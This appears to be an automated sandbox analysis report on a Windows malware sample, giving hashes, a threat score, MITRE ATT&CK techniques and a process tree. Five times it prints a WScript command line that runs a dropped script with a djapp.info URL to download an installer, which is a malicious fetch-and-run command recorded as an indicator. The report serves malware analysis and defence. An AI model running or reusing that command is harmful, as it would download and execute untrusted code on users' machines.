91a34986c15dc37ac33b15e677f21940d992cf2c31b5af85d9ead18b251ef8a0

Analysis

max time kernel
134s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
31/05/2024, 09:51

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General

Target

8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe
Size

184KB
MD5

8695849edc287a9761aea3bab6a6feb1
SHA1

83bab866fb8ad5bc85e3024133799ff6d45add46
SHA256

91a34986c15dc37ac33b15e677f21940d992cf2c31b5af85d9ead18b251ef8a0
SHA512

ddb6ccf813f7d7a7f888417569c3fe5e4953ba832b1581231c5016062859292fe4d7c3faf9d98dd0c8987fe2c43c45501c7740ff80404b21d4286cafe30479b2
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndnO

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
6	1588	WScript.exe
38	4576	WScript.exe
40	3532	WScript.exe
52	3152	WScript.exe
54	4840	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 1588	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	82
PID 2236 wrote to memory of 1588	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	82
PID 2236 wrote to memory of 1588	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	82
PID 2236 wrote to memory of 4576	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	95
PID 2236 wrote to memory of 4576	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	95
PID 2236 wrote to memory of 4576	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	95
PID 2236 wrote to memory of 3532	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	96
PID 2236 wrote to memory of 3532	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	96
PID 2236 wrote to memory of 3532	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	96
PID 2236 wrote to memory of 3152	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	99
PID 2236 wrote to memory of 3152	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	99
PID 2236 wrote to memory of 3152	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	99
PID 2236 wrote to memory of 4840	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	100
PID 2236 wrote to memory of 4840	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	100
PID 2236 wrote to memory of 4840	2236	8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8695849edc287a9761aea3bab6a6feb1_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe
  2⤵
  - Blocklisted process makes network request
  PID:1588
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe
  2⤵
  - Blocklisted process makes network request
  PID:4576
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe
  2⤵
  - Blocklisted process makes network request
  PID:3532
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe
  2⤵
  - Blocklisted process makes network request
  PID:3152
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4314.js" http://www.djapp.info/?domain=gFGYbUEsPC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf4314.exe
  2⤵
  - Blocklisted process makes network request
  PID:4840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4314.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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